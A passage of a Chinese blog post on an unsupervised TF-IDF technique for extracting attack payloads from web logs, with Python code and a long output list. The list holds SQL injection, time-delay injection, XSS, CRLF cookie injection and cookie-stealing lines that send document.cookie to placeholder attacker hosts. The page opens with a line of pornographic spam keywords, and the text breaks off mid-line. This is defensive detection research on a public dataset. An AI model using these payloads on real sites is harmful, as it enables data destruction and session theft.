日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間：8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
討論 | 自動(dòng)化Web滲透Payload提取技術(shù)

一、寫在前面

做Web安全已經(jīng)三四年了，從最初的小白到今天的初探門路，小鮮肉已經(jīng)熬成了油膩大叔。Web安全是一個(gè)日新月異的朝陽(yáng)領(lǐng)域，每天的互聯(lián)網(wǎng)上都在發(fā)生著從未暴露的0 Day和N Day攻擊。這時(shí)一個(gè)大家都意識(shí)到的重要問(wèn)題就浮出水面了：如何能從海量Web訪問(wèn)日志中把那一小撮異常請(qǐng)求撈出來(lái)，供安全人員分析或進(jìn)行自動(dòng)化實(shí)時(shí)阻斷和報(bào)警?

對(duì)于這個(gè)問(wèn)題，傳統(tǒng)的方法是利用傳統(tǒng)的WAF(無(wú)機(jī)器學(xué)習(xí)引擎)，進(jìn)行規(guī)則匹配。傳統(tǒng)WAF有其存在的意義，但也有其掣肘。首先，安全從業(yè)人員都懂，基于黑名單的防御往往存在各種被繞過(guò)的風(fēng)險(xiǎn)，看看安全論壇里各式花樣打狗(安全狗)秘籍就可見(jiàn)一斑。其次，傳統(tǒng)WAF只能發(fā)現(xiàn)已知的安全攻擊行為或類型，對(duì)于新出現(xiàn)的攻擊存在更新延遲，維護(hù)上也有比較大的成本。我認(rèn)為這些問(wèn)題都源于一個(gè)現(xiàn)實(shí)——傳統(tǒng)WAF不能對(duì)其保護(hù)的網(wǎng)站進(jìn)行建模，因此只能基于已知規(guī)則，對(duì)各式各樣的Web系統(tǒng)進(jìn)行統(tǒng)一的無(wú)差別的保護(hù)。

近年來(lái)，機(jī)器學(xué)習(xí)(包括深度學(xué)習(xí))高調(diào)闖入人們的視野，也逐步應(yīng)用在了信息安全領(lǐng)域。基于機(jī)器學(xué)習(xí)的WAF相關(guān)論文和文章也看了一些，似乎大家都主要應(yīng)用了有監(jiān)督機(jī)器學(xué)習(xí)，也都提到了一個(gè)問(wèn)題：有標(biāo)記的攻擊數(shù)據(jù)集(黑樣本)難于大量獲取。而一小波提出無(wú)監(jiān)督異常檢測(cè)思路的文章，又會(huì)遇到精確度低的問(wèn)題。

針對(duì)這些問(wèn)題，我決定先進(jìn)行一些分解。既然直接預(yù)測(cè)整個(gè)請(qǐng)求是否是攻擊很難做到可接受的準(zhǔn)確率，不妨就先把異常的攻擊Payload找出來(lái)。找出來(lái)后，就可以用來(lái)進(jìn)行精準(zhǔn)的攻擊分析，還可以幫助優(yōu)化WAF規(guī)則等。本文所述的技術(shù)最大的優(yōu)勢(shì)是無(wú)監(jiān)督，無(wú)需先驗(yàn)規(guī)則即可自動(dòng)提取異常Payload。

項(xiàng)目GitHub： https://github.com/zhanghaoyil/Hawk-I (不斷完善中，歡迎貢獻(xiàn)代碼)

二、思路

要把異常參數(shù)找出來(lái)，最顯而易見(jiàn)要解決的問(wèn)題就是如何量化請(qǐng)求中各參數(shù)的異常程度。為了最大化利用日志中蘊(yùn)含的需要保護(hù)的Web系統(tǒng)自身的結(jié)構(gòu)信息，我決定對(duì)請(qǐng)求按訪問(wèn)路徑進(jìn)行拆解，即分析參數(shù)value在同路徑同參數(shù)Key的其他參數(shù)值中的異常程度。

具體算法步驟是：

1) 基于TF-IDF對(duì)不同路徑下的樣本分別進(jìn)行特征向量化，按參數(shù)維度對(duì)特征向量進(jìn)行匯聚。

2) 基于特征向量提取出樣本參數(shù)在同路徑同參數(shù)Key的其他參數(shù)值中異常分?jǐn)?shù)AS(Anomaly Score)。

3) 設(shè)置閾值T，取出AS大于T的異常參數(shù)值作為輸出。

三、數(shù)據(jù)集及預(yù)處理

本文使用HTTP CSIC 2010數(shù)據(jù)集。該數(shù)據(jù)集由西班牙最高科研理事會(huì)CSIC在論文Application of the Generic Feature Selection Measure in Detection of Web Attacks中作為附件給出的，是一個(gè)電子商務(wù)網(wǎng)站的訪問(wèn)日志，包含36000個(gè)正常請(qǐng)求和25000多個(gè)攻擊請(qǐng)求。異常請(qǐng)求樣本中包含SQL注入、文件遍歷、CRLF注入、XSS、SSI等攻擊樣本。數(shù)據(jù)集下載鏈接：

http://www.isi.csic.es/dataset/ 。在本項(xiàng)目Github中也準(zhǔn)備好了。

HTTP CSIC 2010數(shù)據(jù)集單個(gè)樣本為如下格式：

 
 
 
 
      
  
  
  
  1. POST http://localhost:8080/tienda1/publico/anadir.jsp HTTP/1.1 
    2.   
  
  
  
  2. User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko) 
    3.   
  
  
  
  3. Pragma: no-cache 
    4.   
  
  
  
  4. Cache-control: no-cache 
    5.   
  
  
  
  5. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 
    6.   
  
  
  
  6. Accept-Encoding: x-gzip, x-deflate, gzip, deflate 
    7.   
  
  
  
  7. Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5 
    8.   
  
  
  
  8. Accept-Language: en 
    9.   
  
  
  
  9. Host: localhost:8080 
    10.   
  
  
  
  10. Cookie: JSESSIONID=933185092E0B668B90676E0A2B0767AF 
    11.   
  
  
  
  11. Content-Type: application/x-www-form-urlencoded 
    12.   
  
  
  
  12. Connection: close 
    13.   
  
  
  
  13. Content-Length: 68 
    14.   
  
  
  
  14.  
    15.   
  
  
  
  15. id=3&nombre=Vino+Rioja&precio=100&cantidad=55&B1=A%F1adir+al+carrito 
    16.

根據(jù)觀察，該數(shù)據(jù)集除路徑(URI)和參數(shù)外其他Header無(wú)任何攻擊Payload，具有很多冗余信息。因此對(duì)該數(shù)據(jù)集進(jìn)行格式化，只保留HTTP方法、路徑和參數(shù)，轉(zhuǎn)為JSON格式方便后面使用。具體進(jìn)行了如下預(yù)處理，具體代碼見(jiàn)data/parse.py：

1) 去除冗余信息。

2) 執(zhí)行迭代的urldecode。

3) 生成標(biāo)準(zhǔn)化的參數(shù)，將大小寫字母、數(shù)字分別轉(zhuǎn)換為a和n。同時(shí)保留原始參數(shù)和標(biāo)準(zhǔn)化的參數(shù)，用于最終的Payload提取。

 
 
 
 
      
  
  
  
  1. def normalize(self, s, with_sub=True): 
    2.   
  
  
  
  2.        #urldecode 
    3.   
  
  
  
  3.        while True: 
    4.   
  
  
  
  4.            new_s = parse.unquote(s, encoding='ascii', errors='ignore') 
    5.   
  
  
  
  5.            if new_s == s: 
    6.   
  
  
  
  6.                break 
    7.   
  
  
  
  7.            else: 
    8.   
  
  
  
  8.                s = new_s 
    9.   
  
  
  
  9.        #normalize 
    10.   
  
  
  
  10.        if withsub: 
    11.   
  
  
  
  11.            s = re.sub('\ufffd', 'a', s) 
    12.   
  
  
  
  12.            s = re.sub('[a-zA-Z]', 'a', s) 
    13.   
  
  
  
  13.            s = re.sub('\d', 'n', s) 
    14.   
  
  
  
  14.            s = re.sub('a+', 'a+', s) 
    15.   
  
  
  
  15.            s = re.sub('n+', 'n+', s) 
    16.   
  
  
  
  16.            s = re.sub(' ', '', s) 
    17.   
  
  
  
  17.        return s 
    18.

四、實(shí)現(xiàn)

根據(jù)算法步驟，項(xiàng)目主要分為向量化和參數(shù)異常評(píng)估和異常Payload提取兩部分。

1. 向量化和參數(shù)異常分?jǐn)?shù)

一個(gè)Web訪問(wèn)記錄的成分是比較固定的，每個(gè)部分(方法、路徑、參數(shù)、HTTP頭、Cookie等)都有比較好的結(jié)構(gòu)化特點(diǎn)。因此可以把Web攻擊識(shí)別任務(wù)抽象為文本分類任務(wù)，而且這種思路應(yīng)用在了安全領(lǐng)域，如有監(jiān)督的攻擊識(shí)別[1]、 XSS識(shí)別[2] 等。文本分類任務(wù)中常用的向量化手段有詞袋模型(Bag of Word，BOW)、TF-IDF模型、詞向量化(word2vec)等，兜哥的文章[3]已經(jīng)做了詳細(xì)的講解。

經(jīng)過(guò)對(duì)Web日志特點(diǎn)的分析，本文認(rèn)為使用TF-IDF來(lái)對(duì)樣本進(jìn)行向量化效果更好。一是經(jīng)過(guò)標(biāo)準(zhǔn)化后請(qǐng)求參數(shù)的值仍會(huì)有非常多的可能性，這種情況下詞袋模型生成的特征向量長(zhǎng)度會(huì)非常大，而且沒(méi)法收縮;二是每個(gè)請(qǐng)求中參數(shù)個(gè)數(shù)有大有小，絕大多數(shù)不超過(guò)10個(gè)，這個(gè)時(shí)候詞向量能表達(dá)的信息非常有限，并不能反映出參數(shù)value的異常性;三是TF-IDF可以表達(dá)出不同請(qǐng)求同一參數(shù)的值是否更有特異性，尤其是IDF項(xiàng)。

舉個(gè)例子， http://ip.taobao.com/ipSearch.html?ipAddr=8.8.8.8 是一個(gè)查詢IP詳細(xì)信息的頁(yè)面(真實(shí)存在)，在某一段時(shí)間內(nèi)收到了10000個(gè)請(qǐng)求，其中9990個(gè)請(qǐng)求中ipAddr參數(shù)值是符合xx.xx.xx.xx這個(gè)IP的格式的，通過(guò)0×2中提到的標(biāo)準(zhǔn)化之后，也就是9990個(gè)請(qǐng)求的ipAddr參數(shù)為n+.n+.n+.n+ (當(dāng)然這里做了簡(jiǎn)化，數(shù)字不一定為多位)。此外有10個(gè)請(qǐng)求的ipAddr是形如alert('XSS')、'or '1' = '1之類的不同的攻擊Payload。

經(jīng)過(guò)TF-IDF向量化后，那9900個(gè)請(qǐng)求ipAddr=n+.n+.n+.n+這一項(xiàng)的TF-IDF值：

 
 
 
 
      
  
  
  
  1. TF-IDF normal = TF * IDF = 1 * log(10000/(9990+1)) = 0.001 
    2.

而出現(xiàn)ipAddr=alert('XSS')的請(qǐng)求的TF-IDF值：

 
 
 
 
      
  
  
  
  1. TF-IDF abnormal = TF * IDF = 1 * log(10000/(1+1)) = 8.517 
    2.

可以看出異常請(qǐng)求參數(shù)value的TF-IDF是遠(yuǎn)大于正常請(qǐng)求的，因此TF-IDF可以很好地反映出參數(shù)value的異常程度。

熟悉TF-IDF的同學(xué)一定有疑問(wèn)了，你這TF-IDF的字典也會(huì)很大呀，如果樣本量很大而且有各式各樣的參數(shù)value，你的特征向量豈不是稀疏得不行了?對(duì)于這個(gè)問(wèn)題，我有一個(gè)解決方案，也就是將所有的TF-IDF進(jìn)一步加以處理，對(duì)參數(shù)key相同的TF-IDF項(xiàng)進(jìn)行求和。設(shè)參數(shù)key集合為K={k1, k2, …, kn}，TF-IDF字典為集合x={x1, x2, …, xm}。則每個(gè)參數(shù)key的特征值為：

 
 
 
 
      
  
  
  
  1. vn = ∑TF-IDFxn   xn∈{x | x startswith ‘kn=’} 
    2.

具體代碼在vectorize/vectorizer.py中：

 
 
 
 
      
  
  
  
  1. for path, strs in path_buckets.items(): 
    2.   
  
  
  
  2.         if not strs: 
    3.   
  
  
  
  3.             continue 
    4.   
  
  
  
  4.         vectorizer = TfidfVectorizer(analyzer='word', token_pattern=r"(?u)\b\S\S+\b") 
    5.   
  
  
  
  5.         try: 
    6.   
  
  
  
  6.             tfidf = vectorizer.fit_transform(strs) 
    7.   
  
  
  
  7.             #putting same key's indices together 
    8.   
  
  
  
  8.             paramindex = {} 
    9.   
  
  
  
  9.             for kv, index in vectorizer.vocabulary.items(): 
    10.   
  
  
  
  10.                 k = kv.split('=')[0] 
    11.   
  
  
  
  11.                 if k in param_index.keys(): 
    12.   
  
  
  
  12.                     param_index[k].append(index) 
    13.   
  
  
  
  13.                 else: 
    14.   
  
  
  
  14.                     param_index[k] = [index] 
    15.   
  
  
  
  15.             #shrinking tfidf vectors 
    16.   
  
  
  
  16.             tfidf_vectors = [] 
    17.   
  
  
  
  17.             for vector in tfidf.toarray(): 
    18.   
  
  
  
  18.                 v = [] 
    19.   
  
  
  
  19.                 for param, index in param_index.items(): 
    20.   
  
  
  
  20.                     v.append(np.sum(vector[index])) 
    21.   
  
  
  
  21.                 tfidf_vectors.append(v) 
    22.   
  
  
  
  22.             #other features 
    23.   
  
  
  
  23.             other_vectors = [] 
    24.   
  
  
  
  24.             for str in strs: 
    25.   
  
  
  
  25.                 ov = [] 
    26.   
  
  
  
  26.                 kvs = str.split(' ')[:-1] 
    27.   
  
  
  
  27.                 lengths = np.array(list(map(lambda x: len(x), kvs))) 
    28.   
  
  
  
  28.                 #param count 
    29.   
  
  
  
  29.                 ov.append(len(kvs)) 
    30.   
  
  
  
  30.                 #mean kv length 
    31.   
  
  
  
  31.                 ov.append(np.mean(lengths)) 
    32.   
  
  
  
  32.                 #max kv length 
    33.   
  
  
  
  33.                 ov.append(np.max(lengths)) 
    34.   
  
  
  
  34.                 #min kv length 
    35.   
  
  
  
  35.                 ov.append(np.min(lengths)) 
    36.   
  
  
  
  36.                 #kv length std 
    37.   
  
  
  
  37.                 ov.append(np.std(lengths)) 
    38.   
  
  
  
  38.                 other_vectors.append(ov) 
    39.   
  
  
  
  39.             tfidf_vectors = np.array(tfidf_vectors) 
    40.   
  
  
  
  40.             other_vectors = np.array(other_vectors) 
    41.   
  
  
  
  41.             vectors = np.concatenate((tfidf_vectors, other_vectors), axis=1) 
    42.

這些特征向量能否充分反映樣本的異常性呢?我使用未調(diào)參的隨機(jī)森林模型進(jìn)行驗(yàn)證，得到了大于95%準(zhǔn)確率的結(jié)果，比較滿意。下圖是模型學(xué)習(xí)曲線，可以看出仍處于欠訓(xùn)練的狀態(tài)，如果樣本量更充足的話將會(huì)得到更好的效果。

由于本文所述方法旨在使用無(wú)監(jiān)督學(xué)習(xí)提取異常參數(shù)，并不用糾結(jié)于有監(jiān)督分類的結(jié)果，只要驗(yàn)證了提取的特征的確可以反映出參數(shù)的異常性即可。

2. 異常參數(shù)值提取

得到參數(shù)值的異常分?jǐn)?shù)下面的工作就簡(jiǎn)單多了，主要就是：

  • 數(shù)據(jù)的標(biāo)準(zhǔn)化(Standardization)
  • 根據(jù)閾值確定異常參數(shù)
  • 根據(jù)異常分?jǐn)?shù)在訓(xùn)練集矩陣的位置提取對(duì)應(yīng)的參數(shù)值

這部分沒(méi)有什么特別的邏輯，直接看代碼吧：

 
 
 
 
      
  
  
  
  1. if name == 'main': 
    2.   
  
  
  
  2.     x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy") 
    3.   
  
  
  
  3.     params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy") 
    4.   
  
  
  
  4.     with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.json", 'r') as sf: 
    5.   
  
  
  
  5.         samples = json.loads(sf.readline()) 
    6.   
  
  
  
  6.     #Standardization 
    7.   
  
  
  
  7.     ases = StandardScaler().fit_transform(x[:, :len(params)]) 
    8.   
  
  
  
  8.     indices = ases > 6 
    9.   
  
  
  
  9.     #extract anomalous payload 
    10.   
  
  
  
  10.     for s in range(indices.shape[0]): 
    11.   
  
  
  
  11.         for p in range(indices.shape[1]): 
    12.   
  
  
  
  12.             if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip(): 
    13.   
  
  
  
  13.                 print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##") 
    14.

提取結(jié)果：

 
 
 
 
      
  
  
  
  1. ##modo## ##registroalert("Paros");## 
    2.   
  
  
  
  2. ##modo## ##registroalert("Paros");## 
    3.   
  
  
  
  3. ##ntc## ##|## 
    4.   
  
  
  
  4. ##ntc## ##|## 
    5.   
  
  
  
  5. ##modo## #### 
    6.   
  
  
  
  6. ##modo## #### 
    7.   
  
  
  
  7. ##modo## ##registro' AND '1'='1## 
    8.   
  
  
  
  8. ##modo## ##registro' AND '1'='1## 
    9.   
  
  
  
  9. ##ntc## ##9851892046707743alert("Paros");## 
    10.   
  
  
  
  10. ##ntc## ##9851892046707743alert("Paros");## 
    11.   
  
  
  
  11. ##ntc## ##5024784015351535alert("Paros");## 
    12.   
  
  
  
  12. ##ntc## ##5024784015351535alert("Paros");## 
    13.   
  
  
  
  13. ##ntc## ##878731290934670A## 
    14.   
  
  
  
  14. ##ntc## ##878731290934670A## 
    15.   
  
  
  
  15. ##nombre## ##Remi'g/*io## 
    16.   
  
  
  
  16. ##nombre## ##Remi'g/*io## 
    17.   
  
  
  
  17. ##cp## ##1642A## 
    18.   
  
  
  
  18. ##cp## ##1642A## 
    19.   
  
  
  
  19. ##cp## ##any? 
    20.   
  
  
  
  20. Set-cookie:+Tamper=1041264011025374727## 
    21.   
  
  
  
  21. ##cp## ##any? 
    22.   
  
  
  
  22. Set-cookie:+Tamper=1041264011025374727## 
    23.   
  
  
  
  23. ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
    24.   
  
  
  
  24. ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
    25.   
  
  
  
  25. ##modo## ##registro@40## 
    26.   
  
  
  
  26. ##modo## ##registro@40## 
    27.   
  
  
  
  27. ##ntc## ##841140437746594A## 
    28.   
  
  
  
  28. ##ntc## ##841140437746594A## 
    29.   
  
  
  
  29. ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## 
    30.   
  
  
  
  30. ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## 
    31.   
  
  
  
  31. ##ntc## ##|## 
    32.   
  
  
  
  32. ##ntc## ##|## 
    33.   
  
  
  
  33. ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
    34.   
  
  
  
  34. ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
    35.   
  
  
  
  35. ##modo## ##|## 
    36.   
  
  
  
  36. ##modo## ##|## 
    37.   
  
  
  
  37. ##cp## ##4377A## 
    38.   
  
  
  
  38. ##cp## ##4377A## 
    39.   
  
  
  
  39. ##modo## ##+## 
    40.   
  
  
  
  40. ##modo## ##+## 
    41.   
  
  
  
  41. ##modo## ##' DELETE FROM USERS## 
    42.   
  
  
  
  42. ##modo## ##' DELETE FROM USERS## 
    43.   
  
  
  
  43. ##dni## #### 
    44.   
  
  
  
  44. ##dni## #### 
    45.   
  
  
  
  45. ##cp## #### 
    46.   
  
  
  
  46. ##cp## #### 
    47.   
  
  
  
  47. ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## 
    48.   
  
  
  
  48. ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## 
    49.   
  
  
  
  49. ##dni## ##684739141## 
    50.   
  
  
  
  50. ##dni## ##684739141## 
    51.   
  
  
  
  51. ##modo## ##registro' DELETE FROM USERS## 
    52.   
  
  
  
  52. ##modo## ##registro' DELETE FROM USERS## 
    53.   
  
  
  
  53. ##nombre## ##*Aitan/a## 
    54.   
  
  
  
  54. ##nombre## ##*Aitan/a## 
    55.   
  
  
  
  55. ##ntc## ##6995607131571243## 
    56.   
  
  
  
  56. ##ntc## ##6995607131571243## 
    57.   
  
  
  
  57. ##modo## ##registroalert("Paros");## 
    58.   
  
  
  
  58. ##modo## ##registroalert("Paros");## 
    59.   
  
  
  
  59. ##modo## ##','0','0','0');waitfor delay '0:0:15';--## 
    60.   
  
  
  
  60. ##modo## ##','0','0','0');waitfor delay '0:0:15';--## 
    61.   
  
  
  
  61. ##modo## ##registro';waitfor delay '0:0:15';--## 
    62.   
  
  
  
  62. ##modo## ##registro';waitfor delay '0:0:15';--## 
    63.   
  
  
  
  63. ##modo## #### 
    64.   
  
  
  
  64. ##modo## #### 
    65.   
  
  
  
  65. ##modo## ##registro"><## 
    66.   
  
  
  
  66. ##modo## ##registro"><## 
    67.   
  
  
  
  67. ##modo## ##'OR'a='a## 
    68.   
  
  
  
  68. ##modo## ##'OR'a='a## 
    69.   
  
  
  
  69. ##cp## ##any 
    70.   
  
  
  
  70. Set-cookie:+Tamper=5765205567234876235## 
    71.   
  
  
  
  71. ##cp## ##any 
    72.   
  
  
  
  72. Set-cookie:+Tamper=5765205567234876235## 
    73.   
  
  
  
  73. ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
    74.   
  
  
  
  74. ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
    75.   
  
  
  
  75. ##ntc## ##@40## 
    76.   
  
  
  
  76. ##ntc## ##@40## 
    77.   
  
  
  
  77. ##cp## ##AND 11=1## 
    78.   
  
  
  
  78. ##cp## ##AND 11=1## 
    79.   
  
  
  
  79. ##modo## ##registroAND 11=1## 
    80.   
  
  
  
  80. ##modo## ##registroAND 11=1## 
    81.   
  
  
  
  81. ##modo## ##+## 
    82.   
  
  
  
  82. ##modo## ##+## 
    83.   
  
  
  
  83. ##modo## ##registrobob@alert(Paros).parosproxy.org## 
    84.   
  
  
  
  84. ##modo## ##registrobob@alert(Paros).parosproxy.org## 
    85.   
  
  
  
  85. ##cp## ##any? 
    86.   
  
  
  
  86. Set-cookie:+Tamper=5765205567234876235## 
    87.   
  
  
  
  87. ##cp## ##any? 
    88.   
  
  
  
  88. Set-cookie:+Tamper=5765205567234876235## 
    89.   
  
  
  
  89. ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
    90.   
  
  
  
  90. ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
    91.   
  
  
  
  91. ##cp## ##44349','0');waitfor delay '0:0:15';--## 
    92.   
  
  
  
  92. ##cp## ##44349','0');waitfor delay '0:0:15';--## 
    93.   
  
  
  
  93. ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
    94.   
  
  
  
  94. ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
    95.   
  
  
  
  95. ##ntc## ##219312393915667A## 
    96.   
  
  
  
  96. ##ntc## ##219312393915667A## 
    97.   
  
  
  
  97. ##ntc## ##928497527479202A## 
    98.   
  
  
  
  98. ##ntc## ##928497527479202A## 
    99.   
  
  
  
  99. ##ntc## ##848868523325038A## 
    100.   
  
  
  
  100. ##ntc## ##848868523325038A## 
    101.   
  
  
  
  101. ##ntc## ##AND 11=1## 
    102.   
  
  
  
  102. ##ntc## ##AND 11=1## 
    103.   
  
  
  
  103. ##ntc## ## ## 
    104.   
  
  
  
  104. ##ntc## ## ## 
    105.   
  
  
  
  105. ##dni## ##B071B890B48F## 
    106.   
  
  
  
  106. ##dni## ##B071B890B48F## 
    107.   
  
  
  
  107. ##modo## ##registro## 
    108.   
  
  
  
  108. ##modo## ##registro## 
    109.   
  
  
  
  109. ##cp## ##26130any 
    110.   
  
  
  
  110. Set-cookie:+Tamper=5765205567234876235## 
    111.   
  
  
  
  111. ##cp## ##26130any 
    112.   
  
  
  
  112. Set-cookie:+Tamper=5765205567234876235## 
    113.   
  
  
  
  113. ##ntc## ##' AND '1'='1## 
    114.   
  
  
  
  114. ##ntc## ##' AND '1'='1## 
    115.   
  
  
  
  115. ##modo## ##registro ## 
    116.   
  
  
  
  116. ##modo## ##registro ## 
    117.   
  
  
  
  117. ##ntc## ##+## 
    118.   
  
  
  
  118. ##ntc## ##+## 
    119.   
  
  
  
  119. ##ntc## ##706790437347227A## 
    120.   
  
  
  
  120. ##ntc## ##706790437347227A## 
    121.   
  
  
  
  121. ##cp## ##+## 
    122.   
  
  
  
  122. ##cp## ##+## 
    123.   
  
  
  
  123. ##dni## ##';waitfor delay '0:0:15';--## 
    124.   
  
  
  
  124. ##dni## ##';waitfor delay '0:0:15';--## 
    125.   
  
  
  
  125. ##cp## ##44721bob@alert(Paros).parosproxy.org## 
    126.   
  
  
  
  126. ##cp## ##44721bob@alert(Paros).parosproxy.org## 
    127.   
  
  
  
  127. ##cp## #### 
    128.   
  
  
  
  128. ##cp## #### 
    129.   
  
  
  
  129. ##ntc## ##424959116693048A## 
    130.   
  
  
  
  130. ##ntc## ##424959116693048A## 
    131.   
  
  
  
  131. ##cp## ##bob@alert(Paros).parosproxy.org## 
    132.   
  
  
  
  132. ##cp## ##bob@alert(Paros).parosproxy.org## 
    133.   
  
  
  
  133. ##cp## ##31495bob@alert(Paros).parosproxy.org## 
    134.   
  
  
  
  134. ##cp## ##31495bob@alert(Paros).parosproxy.org## 
    135.   
  
  
  
  135. ##ntc## ##899062190611389A## 
    136.   
  
  
  
  136. ##ntc## ##899062190611389A## 
    137.   
  
  
  
  137. ##ntc## ##0602317509119469## 
    138.   
  
  
  
  138. ##ntc## ##0602317509119469## 
    139.   
  
  
  
  139. ##modo## ##','0');waitfor delay '0:0:15';--## 
    140.   
  
  
  
  140. ##modo## ##','0');waitfor delay '0:0:15';--## 
    141.   
  
  
  
  141. ##dni## ##' AND '1'='1## 
    142.   
  
  
  
  142. ##dni## ##' AND '1'='1## 
    143.   
  
  
  
  143. ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## 
    144.   
  
  
  
  144. ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## 
    145.   
  
  
  
  145. ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## 
    146.   
  
  
  
  146. ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## 
    147.   
  
  
  
  147. ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
    148.   
  
  
  
  148. ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
    149.   
  
  
  
  149. ##cp## ##22314','0','0');waitfor delay '0:0:15';--## 
    150.   
  
  
  
  150. ##cp## ##22314','0','0');waitfor delay '0:0:15';--## 
    151.   
  
  
  
  151. ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
    152.   
  
  
  
  152. ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
    153.   
  
  
  
  153. ##modo## ##registro@40## 
    154.   
  
  
  
  154. ##modo## ##registro@40## 
    155.   
  
  
  
  155. ##dni## ##35507034W" AND "1"="1## 
    156.   
  
  
  
  156. ##dni## ##35507034W" AND "1"="1## 
    157.   
  
  
  
  157. ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## 
    158.   
  
  
  
  158. ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## 
    159.   
  
  
  
  159. ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## 
    160.   
  
  
  
  160. ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## 
    161.   
  
  
  
  161. ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## 
    162.   
  
  
  
  162. ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## 
    163.   
  
  
  
  163. ##dni## ##paros" style="background:url(javascript:alert('Paros'))## 
    164.   
  
  
  
  164. ##dni## ##paros" style="background:url(javascript:alert('Paros'))## 
    165.   
  
  
  
  165. ##cp## ##0530A## 
    166.   
  
  
  
  166. ##cp## ##0530A## 
    167.   
  
  
  
  167. ##ntc## ##any 
    168.   
  
  
  
  168. Set-cookie:+Tamper=5765205567234876235## 
    169.   
  
  
  
  169. ##ntc## ##any 
    170.   
  
  
  
  170. Set-cookie:+Tamper=5765205567234876235## 
    171.   
  
  
  
  171. ##cp## ##0951A## 
    172.   
  
  
  
  172. ##cp## ##0951A## 
    173.   
  
  
  
  173. ##ntc## ##any? 
    174.   
  
  
  
  174. Set-cookie:+Tamper=5765205567234876235## 
    175.   
  
  
  
  175. ##ntc## ##any? 
    176.   
  
  
  
  176. Set-cookie:+Tamper=5765205567234876235## 
    177.   
  
  
  
  177. ##modo## ##registro"><## 
    178.   
  
  
  
  178. ##modo## ##registro"><## 
    179.   
  
  
  
  179. ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
    180.   
  
  
  
  180. ##modo## ##registrosessionid=12312312& username=